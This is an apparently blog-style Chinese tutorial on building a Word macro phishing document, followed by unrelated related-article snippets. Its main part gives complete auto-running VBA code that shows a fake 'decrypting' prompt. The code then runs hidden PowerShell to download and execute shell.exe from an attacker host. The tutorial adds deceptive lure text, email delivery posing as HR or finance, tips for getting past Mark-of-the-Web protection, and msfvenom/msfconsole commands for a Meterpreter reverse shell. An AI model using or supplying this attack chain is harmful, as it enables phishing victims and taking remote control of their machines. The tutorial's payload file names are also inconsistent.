Office宏病毒钓鱼-打点突破
Office宏钓鱼
[攻击路径] / [利用流程] - 详细步骤:制作一个简单的Word宏钓鱼文档
-
步骤一:规划恶意宏功能 (Payload Design)
- 目的: 决定宏执行后要达成的目标。为教学演示,我们设定一个简单的目标:弹出一个消息框,然后尝试从指定URL下载一个文件(真实攻击中会是恶意文件)。
- 关键技术/工具: VBA编程知识。
- 为何如此操作: 清晰的目标有助于编写简洁有效的宏代码。
-
步骤二:编写VBA宏代码
-
目的: 将规划好的功能用VBA语言实现。
-
操作:
VBA
' 自动在文档打开时执行的宏 Sub AutoOpen()MyMacroLogic End SubSub Document_Open()MyMacroLogic End SubFunction MyMacroLogic()MsgBox "正在解密文档内容,请稍候...", vbInformation, "系统提示"Dim strURL As StringDim strFilePath As StringDim shellApp As ObjectstrURL = "http://192.168.1.133/shell.exe"' 如果你使用了其他端口,例如8000,则URL应为 "http://192.168.1.133:8000/shell.exe"strFilePath = "C:\Users\Public\Downloads\shell.exe" ' 可以自定义保存路径和文件名' PowerShell命令Dim cmd As Stringcmd = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command " & _"""(New-Object System.Net.WebClient).DownloadFile('""" & strURL & """', '""" & strFilePath & """'); " & _"Start-Process '""" & strFilePath & """'"""' 使用WScript.Shell执行命令 (更隐蔽) 或 Shell 函数On Error Resume Next ' 忽略可能发生的错误,避免宏中断Set shellApp = CreateObject("WScript.Shell")shellApp.Run cmd, 0, False ' 0表示隐藏窗口,False表示不等待命令完成Set shellApp = NothingOn Error GoTo 0 ' 恢复错误处理' MsgBox "文档内容解密成功!文档内容已可查看,如果未能查看请重新下载重复步骤!!。", vbInformation, "系统提示" End Function
-
为何如此操作:
AutoOpen()
或Document_Open()
会在用户启用宏后自动执行。代码中包含了社工提示、文件下载和执行(通过PowerShell)的逻辑。使用WScript.Shell
的Run
方法并设置窗口隐藏可以增加隐蔽性。
-
-
步骤三:创建并嵌入宏到Office文档 (以Word为例)
- 目的: 将写好的VBA代码放入Word文档中。
- 操作:
- 打开Microsoft Word,创建一个新文档。
- 按下
Alt + F11
打开VBA编辑器。 - 在VBA编辑器的项目浏览器中,找到你的文档项目(通常名为
Project (Document1)
)。 - 右键点击
ThisDocument
(或在“插入”菜单选择“模块”来创建一个新模块,推荐后者以保持ThisDocument
干净),选择“插入” -> “模块”。 - 双击新创建的模块(如
Module1
)或者ThisDocument
,在右侧的代码窗口中粘贴上述VBA代码。 - 关闭VBA编辑器。
- 为何如此操作: 这是将宏代码与特定文档关联的标准方法。
-
步骤四:设计文档诱饵内容与保存
- 目的: 制作文档的表面内容,诱使用户启用宏。
- 操作:
- 在Word文档的可见区域,输入欺骗性文字,例如:
- 一张模糊的图片,上方写着:“文档受保护,请点击‘启用内容’查看高清版本。”
- 提示:“此文档由新版本Office创建,为确保兼容性并正确显示所有图表,请点击‘启用编辑’或‘启用内容’。”
- 模仿系统错误信息,暗示需要启用宏来修复。
- 保存文档:点击“文件” -> “另存为”。在“保存类型”中,选择 “Word启用宏的文档 (*.docm)”。如果用Excel,则选择 “Excel启用宏的工作簿 (*.xlsm)”。给文档取一个诱人的文件名,如
年度财务报告预览.docm
。
- 在Word文档的可见区域,输入欺骗性文字,例如:
- 为何如此操作: 文档内容是社会工程学的核心,文件名和保存类型直接影响宏能否被执行。
-
步骤五:投递文档
- 目的: 将制作好的带宏文档发送给目标。
- 操作: 通常通过电子邮件附件发送。邮件正文也需要配合进行社会工程学,如伪装成HR、财务、领导或合作伙伴发送的紧急/重要文件。
- 为何如此操作: 这是最常见的投递方式。
-
步骤六:受害者交互与宏执行 (模拟)
- 目的: 受害者打开文档并被诱导启用宏。
- 操作(受害者视角模拟):
- 受害者收到邮件,下载并打开
.docm
文件。 - Word显示安全警告:“宏已被禁用。” 以及你精心设计的诱饵内容。
- 如果社工成功,受害者点击“启用内容”。
- 此时,
AutoOpen()
或Document_Open()
中的VBA代码开始执行。
- 受害者收到邮件,下载并打开
- 为何如此操作: 用户的这个点击动作是宏能否执行的关键。
-
步骤七:验证宏执行结果 (在你的测试环境中)
- 目的: 确认宏是否按预期执行。
- 操作:
- 检查是否弹出了第一个消息框。
- 检查你的测试Web服务器是否有来自受害机的下载请求 (
payload.exe
)。 - 检查在受害机上
C:\Users\Public\Downloads\
目录下是否成功下载了downloaded_payload.exe
,并且该文件是否被尝试执行。 - 检查是否弹出了第二个消息框。
- 为何如此操作: 验证攻击流程的每一步是否成功。
重要:2025年宏安全现状与提醒
- 默认禁用(并有更多额外操作): 请务必记住,对于从互联网下载的Office文档(即带有Mark-of-the-Web标记的文件),现代Office版本(Microsoft 365 Apps for enterprise/business, Office LTSC 2021, Office 2021, Office 2019, Office 2016)会默认阻止VBA宏的运行,并且“启用内容”按钮的行为会改变,不再轻易允许用户启用。用户需要手动解除文件锁定(文件属性 -> 安全性 -> 解除锁定)或将文件放入“受信任位置”才能运行宏。
- 红队适应: 攻击者会尝试通过社工手段诱导用户执行这些额外步骤,或者将宏文档打包在加密的ZIP文件(密码在邮件中提供)或ISO/IMG镜像文件中,以期绕过MOTW标记或邮件网关的初步扫描。
- 内部威胁: 如果宏文档是在内网生成或被认为是来自“受信任来源”,则宏的执行限制可能会较宽松。
Office宏构建
Sub test()MsgBox ("TTTTTTTTT")
End Sub
打开文件自动执行
Sub Document_Open()test
End Sub
Sub AutoOpen()test
End Sub
Sub test()MsgBox ("TTTTTTT")
End Sub
MSF生成与监听
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -f exe > payload.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.133
set LPORT 4444
run
相关文章:
Office宏病毒钓鱼-打点突破
Office宏钓鱼 [攻击路径] / [利用流程] - 详细步骤:制作一个简单的Word宏钓鱼文档 步骤一:规划恶意宏功能 (Payload Design) 目的: 决定宏执行后要达成的目标。为教学演示,我们设定一个简单的目标:弹出一个消息框&…...
神经网络—感知器、多层感知器
文章目录 前言一、生物神经元与感知器的类比二、感知器1、简单感知器2、多层感知器(1)多层感知机结构 3、神经网络结构 总结1、感知器的局限性如何突破感知器的局限性? 2、感知器的应用 前言 感知器(Perceptron)是神经…...
美化IDEA注释:Idea 中快捷键 Ctrl + / 自动注释的缩进(避免添加注释自动到行首)以及 Ctrl + Alt + l 全局格式化代码的注释缩进
打开 Settings 界面,依次选择 Editor -> Code Style -> Java,选择 Code Generation, 取消 Line comment at first column 和 Block comment at first column 的勾选即可, 1、Line comment at first column (行注释在第一列…...
基于大型语言模型的高效时间序列预测模型选择
时间序列预测在金融、医疗、能源等多个领域具有重要意义,其结果对于决策和规划起到关键作用。然而,选择合适的预测模型往往需要丰富的领域知识和大量计算资源。Abdallah等(2022)的研究表明,没有单一算法能在所有预测任…...
2025 EAU UTUC指南学习笔记③:诊断策略精读——从症状到活检,如何科学判断治疗路径?
👋 欢迎关注我的学习专栏~ 如果觉得文章有帮助,别忘了点赞、关注、评论,一起学习 本文聚焦UTUC的诊断策略,全面梳理影像学检查、尿液学检测、内镜评估与活检手段,并结合指南推荐等级,提出科研视角的思考。 …...
【Ubuntu】Netplan静态网络配置
1.配置文件 # 默认配置文件:/etc/netplan/*.yaml# 本机 rootubuntu-server:~# vim /etc/netplan/50-cloud-init.yaml 2.DHCP network: ethernets:ens33:dhcp4: trueversion: 2 3.静态IP设置 注意:netplan 说明文件格式存储在下列路径下…...
【SQLSERVER】Ubuntu 连接远程 SQL Server(MSSQL)
Ubuntu 连接远程 SQL Server(MSSQL) 引言 在企业级开发环境中,跨平台的数据库连接是常见需求。虽然 SQL Server 通常在 Windows 服务器上运行,但在 Ubuntu 上连接远程 SQL Server 也非常重要。本文将详细介绍如何在 Ubuntu 上通…...
GuPPy-v1.2.0安装与使用-生信工具52
GuPPy:Python中用于光纤光度数据分析的免费开源工具 01 背景 Basecalling 是将原始测序信号转换为碱基序列的过程,通俗地说,就是“把碱基识别出来”。这一过程在不同代测序技术中各不相同: 一代测序是通过解析峰图实现࿱…...
Mysql-OCP PPT课程讲解并翻译
#跳过介绍,直接从干货开始记录 第一章 安装mysql...
maven 依赖冲突异常分析
异常如下 Description:An attempt was made to call a method that does not exist. The attempt was made from the following location:com.google.common.cache.CacheBuilder.initialCapacity(CacheBuilder.java:353)The following method did not exist:com.google.common…...
【软件设计师:软件工程】9.软件开发模型与方法
一、软件危机与软件工程 软件危机与软件工程是计算机科学发展中密切相关的两个概念。 1.软件危机(Software Crisis) 背景:20世纪60年代至80年代,随着计算机硬件性能提升,软件规模与复杂度剧增,传统开发方法难以应对,导致大量项目失败。 表现: 成本失控:开发周期长、…...
用uniapp在微信小程序实现画板(电子签名)功能,使用canvas实现功能
效果: 功能:实现重签 退出 保存 等功能 解决的问题: 电子签名画布抖动问题解 注意: 保存的时候上传到自己的服务器地址,后端返回图片地址 代码: <template><view><view class"signature&qu…...
旅游设备生产企业的痛点 质检系统在旅游设备生产企业的应用
在旅游设备制造行业,产品质量直接关系到用户体验与企业口碑。从景区缆车、观光车到水上娱乐设施,每一件设备的安全性与可靠性都需经过严苛检测。然而,传统质检模式常面临数据分散、流程不透明、合规风险高等痛点,难以满足旅游设备…...
为什么使用Less替代原始CSS?
What is Less? Less 是一种 CSS 预处理器,它在 CSS 的基础上添加了许多有用的特性,提供了更高效、更灵活的方式来编写样式代码。 特性: 1、变量(Variables) 优势: 可以定义一个值并在整个样…...
C++ - 类和对象 #日期类的实现
文章目录 前言 一、导言 二、构造 三、比较大小 1、实现大于 2、等于 3、大于等于 4、小于 5、小于等于 6、不等于 二、加减 1、加与加等 2、减与减等 3、、-- 4、日期-日期 三、流提取、流插入 1、流插入 2、流提取 四、日期类所有代码汇总 总结 前言 路…...
6:点云处理—QT三维窗口显示
1.编写halcon显示程序 导出C格式 *读取三维点云 dev_get_window(WindowHandle)dev_open_window(0, 0, 512, 512, black, WindowHandle1)*512, 512 CamParam : [0.01,0,7e-6,7e-6,512/2, 512/2,512, 512] DisPose:[30.427, -1.05274, 97.8798, 8.29326, 356.416, 99.016, 0]*彩…...
css3伸缩盒模型第三章(伸缩相关)
伸缩盒模型第三章(伸缩) 介绍了伸缩性的伸缩提现到哪些方面,以及flex 居中的小技巧,视觉差异等 flex 水平垂直居中伸缩性flex 复合式属性项目排序侧轴单独对齐 flex 水平居中 我们可以使用flex 使元素居中对齐,当然也可以用 margin 等进行…...
【Ubuntu】安裝向日葵远程控制
前言 在Ubuntu 24.04.2下安装向日葵远程控制出错,少了一些依赖,需要安装一些依赖。 1.安装gconf2-common wget http://mirrors.kernel.org/ubuntu/pool/universe/g/gconf/gconf2-common_3.2.6-6ubuntu1_all.deb sudo dpkg -i gconf2-common_3.2.6-6ub…...
Screeps Arena基础入门
本文主要内容 JavaSsript语法使用VScode编译环境Screeps Arena游戏规则 JavaSsript语法使用 基本数据类型 // String, Numker,Boolean,null, undefined const username "John"; const age 30; const rate 4.5; const iscool true; const x null; #表示值为…...
docker 安装 sqlserver2022 和注意点
一、前言 1、可以直接参考微软官方文档 快速入门:使用 Docker 运行 SQL Server Linux 容器映像,这里主要是说一些注意点和坑 二、安装 1、拉取镜像 docker pull mcr.microsoft.com/mssql/server:2022-latest2、创建挂载目录,这里只是比官方…...
Centos系统详解架构详解
CentOS 全面详解 一、CentOS 概述 CentOS(Community Enterprise Operating System) 是基于 Red Hat Enterprise Linux(RHEL) 源代码构建的免费开源操作系统,专注于稳定性、安全性和长期支持,广泛应用于服…...
Git实战经验分享:深入掌握git commit --amend的进阶技巧
一、工具简介 git commit --amend是Git版本控制系统的核心补救命令,主要用于修正最近一次提交的元数据。该命令不会产生新的提交记录,而是通过覆盖原提交实现版本历史的整洁性,特别适合在本地仓库进行提交优化。 二、核心应用场景 提交信息…...
基于LSTM与SHAP可解释性分析的神经网络回归预测模型【MATLAB】
基于LSTM与SHAP可解释性分析的神经网络回归预测模型【MATLAB】 一、引言 在数据驱动的智能时代,时间序列预测已成为许多领域(如金融、气象、工业监测等)中的关键任务。长短期记忆网络(LSTM)因其在捕捉时间序列长期依…...
C++卡特兰数讲解
前情提要,参考资料:卡特兰数 - OI Wiki 一、定义 卡特兰数(Catalan number)是一个在组合数学中经常出现的数列,应用范围很广,例如括号匹配问题、出栈顺序问题、多边形三角剖分问题等。在 C 中,可以使用多种…...
【数据融合实战手册·应用篇】“数字孪生+视频融合”让智慧城市拥有空间感知
一、视频融合技术如何破局城市治理? #从"碎片监控"到"上帝视角" 传统视频监控系统画面分散,监管人员需要观看多个分镜头画面,难以将零散的分镜头视频与其实际地理位置对应,容易产生信息孤岛,同时…...
[数据库之十一] 数据库索引之联合索引
执行数据库查询时,通常查询条件是多对个属性进行判断和约束,对于这种类型的查询,如果存在多个索引则使用多个索引,或者使用建立在多属性搜索码上的索引,这样能提高查询效率。 一、使用多个单码索引 假设数据表 instruc…...
【Linux】Linux工具(1)
3.Linux工具(1) 文章目录 3.Linux工具(1)Linux 软件包管理器 yum什么是软件包关于 rzsz查看软件包——yum list命令如何安装软件如何卸载软件补充——yum如何找到要安装软件的下载地址 Linux开发工具Linux编辑器-vim使用1.vim的基…...
微信小程序使用腾讯云COS SDK实现用户头像上传
引入与初始化COS SDK (从官网下载cos-wx-sdk-v5.js文件,本地上传) const COS require(../../../static/utils/cos-wx-sdk-v5.js) as any;//实例化一个cos对象 const cos new COS({SecretId: AK***********************VedSJ, //idSecretK…...
什么是HTML、CSS 和 JavaScript?
HTML、CSS 和 JavaScript 是构建网页的三大核心技术,它们分工明确又紧密协作。接下来我将分别介绍三者的定义、功能,并阐述它们如何共同构成网页,最后推荐学习资源。 一、HTML:网页的骨架与内容基础 HTML(HyperText …...
兼具直连存储与分布式存储优势的混合存储方案
兼具直连存储与分布式存储优势的混合存储方案 一、分层存储架构 热数据本地直存 将高频访问的热数据(如数据库事务日志、实时计算中间结果)存储在DAS本地SSD中利用DAS的低延迟特性提升实时性要求高的业务性能 温冷数据分布式存储 低频访问的温…...
App Store支付新政重构跨境电商生态:eBay卖家的突围之道
2024年4月,美国联邦法院对苹果应用商店支付体系的裁决掀起全球电商海啸。这场源自Epic Games诉讼案的制度变革,正在跨境电商领域掀起超预期的蝴蝶效应。本文将深入剖析政策变革对eBay生态的冲击路径,揭示跨境卖家转型升级的核心策略。 一、支…...
Rust 开发环境搭建与插件
生成完整文章 用户请求写一篇完整的CSDN文章,要求根据之前的建议生成。文章要包含结构清晰、标题、代码示例、常见提示、跨平台Rust工具链安装差异等内容。文章需准确,包括插件和使用提示,CLI程序示例等。主要内容包括:介绍、Rus…...
Axios替代品Alova
介绍alova | Alova.JS Multipart 实体请求 | Axios中文文档 | Axios中文网 1. 极致的轻量与性能 Tree-shaking优化:仅打包使用到的功能模块 零依赖:基础包仅 4KB(Axios 12KB) 2. 智能请求管理(开箱即用࿰…...
【C语言】文件操作(续)
目录 复习: 一⽂件的顺序读写 例子: 前言: 在上篇文章中介绍了文件的类型,文件指针,流,操作的函数。 在本篇文章继续为大家带来文件细节分享,如 顺序读写等等。 复习: fopen是…...
Angular 面试常见问题
1. 请阐述 Angular 的工作原理 Angular 的工作流程涉及多个关键环节,从组件交互到浏览器渲染,以下是其核心流程: 组件交互:当用户触发特定事件(如点击按钮)时,组件会响应这些交互,…...
数据库(MySQL)基础
一、登录数据库 在linux系统中登录数据库的指令 mysql -h 127.48.0.236 -P 3306 -u root -p -h:填写IP地址,指明要连接的主机。如果不加该字段表示本地主机-P:填写端口号,指明进程。 如果不加该字段会使用默认的端口号。-u&…...
【Java ee 初阶】文件操作和IO(上)
一、文件 文件在计算机中,是保存到“硬盘”上的。操作系统,把硬盘操作进行了抽象封装,使得编程的时候,是不会直接操作硬盘的,而是通过“文件”的概念来进行间接操作。 文件有哪些操作?——>打开文件&a…...
微信小程序备案的一些记录
小程序如果没有备案是搜索不到小程序的。 小程序备案需要填写主体负责人的信息,需要主体负责人的手机号验证码, 需要填写管理员的信息,同样也需要验证手机号码, 填写完毕之后,提交进行初审,初审之后会打…...
leetcode0279. 完全平方数-medium
1 题目:完全平方数 官方标定难度:中 给你一个整数 n ,返回 和为 n 的完全平方数的最少数量 。 完全平方数 是一个整数,其值等于另一个整数的平方;换句话说,其值等于一个整数自乘的积。例如,1…...
2018机械行业ERP软件发展趋势
随着互联网经济的发展,实体的经济将来很有发展的优势,管理的信息化工具,也要随着市场需求的改变而改变。 以前的ERP管理系统,管理管控的方向。 1、以物料管理为核心,通过ERP管理系统,将企业的物料管理清楚&…...
限制布局大小,实现文本自适应
实现数字部分自适应 适配后 使用页需绑定ref <div class"setting-bind-text" ref"element" :style"{ transform: scale(${scale}) }">{{ coin }}</div> script部分引入使用 import { useTextScale } from /hooks/useTextScale; c…...
涨薪技术|0到1学会性能测试第52课-Tomcat调优技术
前面的推文我们掌握了Tomcat服务器的3种监控技术知识。今天给大家分享Tomcat调优技术。后续文章都会系统分享干货,带大家从0到1学会性能测试。 在对Tomcat进行调优之前,需要对Tomcat的结构体系有一个清楚的了解,这对调优起到至交重要的作用,Tomcat结构体系图,如图10-20所示…...
Arm核的Ubuntu系统上安装Wireshark
Arm核的Ubuntu系统上安装Wireshark 一、安装wireshark 安装命令: sudo apt-get install wireshark-qt 如下图所示: 安装过程弹出如下界面: 鼠标选择Yes,点回车键确认 安装完成。 二、打开wireshark 输入命令行打开wireshark …...
C++模板【上篇】 —详解模板基础语法
文章目录 前言1. 泛型编程2. 模板的类别2.1 函数模板2.2 类模板 3. 模板的实例化3.1 函数模板的实例化3.1.1 隐式实例化* 编译器实例化原理3.1.2 显示实例化 3.2 类模板的实例化 前言 在这篇文章中,主要介绍一些模板的基础的语法和一些细节,同时了解泛型…...
谈谈Redis缓存和数据库一致性
目录 1、缓存问题 2、更新缓存 3、删除缓存 4、最终方案 5、缓存分类 5.1、缓存穿透 5.2、缓存击穿 5.2、缓存雪崩 6、示例 前言 Redis 作为缓存与数据库之间的通信模式能够显著提升系统性能,减少数据库的压力。 通过合理使用 Redis 进行数据存取ÿ…...
JWT深度解析:现代Web身份验证的通行证-优雅草卓伊凡
# JWT深度解析:现代Web身份验证的通行证 ## 一、JWT的本质与构成 ### 1.1 JWT的定义解析 JWT(JSON Web Token)是一种**开放标准(RFC 7519)**,用于在各方之间安全地传输信息作为JSON对象。这种信息可以被…...
VTK|.obj文件数据处理+Jet/Viridis/CoolToWarm/Grayscale/Rainbow/风格颜色渲染
文章目录 处理OBJ文件Jet渲染风格Viridis渲染风格CoolToWarm渲染风格Grayscale渲染风格Rainbow渲染风格切换风格按钮槽函数(可优化)相关代码github链接 将 .obj 数据进行 Elevation 着色并可视化渲染的完整流程 和.ply文件处理方式一样 处理OBJ文件 vo…...
如何通过服务主体获取 Azure 凭据
本文详细讲解如何通过 Azure 服务主体生成凭据,使应用程序能够安全访问 Azure 资源(如部署 Container Apps)。以下步骤基于 Azure Portal 操作,适用于自动化部署、CI/CD 等场景。 步骤 1:登录 Azure Portal 访问 Azure 门户。使用 Azure 账户(需具备订阅管理员权限)登录…...
Kubernetes探针生产环境实战指南
一、探针的本质:应用健康的智能体检系统 想象你的应用是一个高空走钢丝的演员,Kubernetes探针就像三位安全员: 启动探针:检查演员是否站稳(应用是否完成初始化)就绪探针:确认演员准备好表演&a…...
node.js 实战——express图片保存到本地或服务器(七牛云、腾讯云、阿里云)
本地 ✅ 使用formidable 读取表单内容 npm i formidable ✅ 使用mime-types 获取图片后缀 npm install mime-types✅ js 中提交form表单 document.getElementById(uploadForm).addEventListener(submit, function(e){e.preventDefault();const blob preview._blob;if(!blob)…...